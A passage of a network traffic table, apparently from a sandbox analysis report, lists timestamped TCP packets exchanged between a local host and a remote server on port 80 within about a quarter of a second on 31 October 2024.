Oct 31, 2024 02:09:12.443603992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443609953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443615913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443687916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443700075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443710089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443717003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.443722963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443732977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443747997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443756104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.443759918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443783998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.443790913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443802118 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443809032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.443815947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443830967 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.443842888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.443855047 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.443907022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443917990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443928003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443938971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443948984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.443959951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.443991899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.444171906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.444216013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.444242001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.444284916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.461496115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.461550951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.461662054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.461678982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.461689949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.461700916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.461710930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.461713076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.461724043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.461730003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.461741924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.461755037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.461755991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.461766005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.461769104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.461800098 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.461813927 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.493551970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.493563890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.493575096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.493587017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.493598938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.493613005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.493618965 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.493652105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.493662119 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.493701935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.493720055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.493730068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.493741035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.493752003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.493753910 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.493762970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.493773937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.493802071 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.493830919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.493865967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.493875980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.493876934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.493887901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.493911028 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.493923903 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.494045973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.494057894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.494069099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.494097948 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.494107962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.494146109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.494157076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.494199991 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.494251013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.494262934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.494301081 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.494324923 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.494343996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.494354963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.494364977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.494394064 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.494415998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.534627914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.534651995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.534662962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.534684896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.534697056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.534704924 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.534707069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.534738064 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.534766912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.534792900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.534805059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.534813881 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.534840107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.534863949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.549341917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.549360037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.549369097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.549405098 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.549417019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.549417019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.549427986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.549438953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.549465895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.549483061 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.550355911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.550367117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.550378084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.550390005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.550407887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.550417900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.550419092 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.550437927 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.550462008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.550519943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.550529957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.550540924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.550570965 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.550585032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.550600052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.550611019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.550621033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.550652027 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.550677061 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.559657097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.559710979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.559715986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.559726954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.559737921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.559750080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.559761047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.559763908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.559793949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.559973955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.559984922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.559997082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560023069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.560034037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560045958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.560046911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560056925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560084105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.560098886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.560151100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560169935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560182095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560193062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560200930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.560223103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.560240984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560246944 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.560260057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560281038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.560293913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.560607910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560657024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.560688019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560734034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.560758114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560769081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560780048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560790062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560802937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560807943 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.560815096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560827017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560837030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.560858965 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.560902119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560949087 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.560957909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.560967922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.561007977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.561016083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.561064005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.561073065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.561084032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.561126947 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.578027010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.578037977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.578047991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.578083038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.578099966 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.578322887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.578335047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.578346014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.578358889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.578377962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.578378916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.578402996 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.578413963 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.578422070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.578461885 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.578533888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.578543901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.578563929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.578572989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.578586102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.578645945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.610414028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610481024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610486984 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.610491991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610507011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610517979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610523939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.610534906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610544920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610548019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.610554934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610563993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610575914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610582113 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.610601902 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.610608101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610619068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610626936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.610676050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610687017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610708952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.610708952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.610708952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.610733986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.610835075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610845089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610853910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610887051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610889912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.610898972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.610924006 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.610951900 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.611082077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.611093044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.611102104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.611121893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.611130953 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.611131907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.611150980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.611169100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.611180067 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.611210108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.651360035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.651412010 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.651468992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.651479006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.651489019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.651499033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.651510000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.651525974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.651554108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.651618958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.651629925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.651639938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.651668072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.651678085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.651757002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.651767969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.651777029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.651807070 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.651828051 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.666270018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.666285038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.666296005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.666312933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.666323900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.666335106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.666341066 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.666493893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.667119026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.667166948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.667171001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.667176008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.667196989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.667205095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.667207003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.667217016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.667224884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.667243958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.667254925 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.667366982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.667412043 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.667417049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.667426109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.667437077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.667448997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.667454004 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.667464972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.667473078 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.667498112 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.667517900 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.676512003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.676563025 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.676577091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.676587105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.676598072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.676609039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.676625967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.676629066 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.676651955 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.676652908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.676662922 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.676662922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.676685095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.676692009 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.676726103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.676810980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.676836967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.676867962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.676901102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.676984072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.676994085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677005053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677036047 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.677052975 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.677067995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677088976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677098989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677117109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.677151918 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.677151918 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.677611113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677623034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677633047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677669048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.677680016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.677694082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677704096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677714109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677726030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.677741051 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.677763939 CET	49982	80	192.168.2.5	154.216.17.34
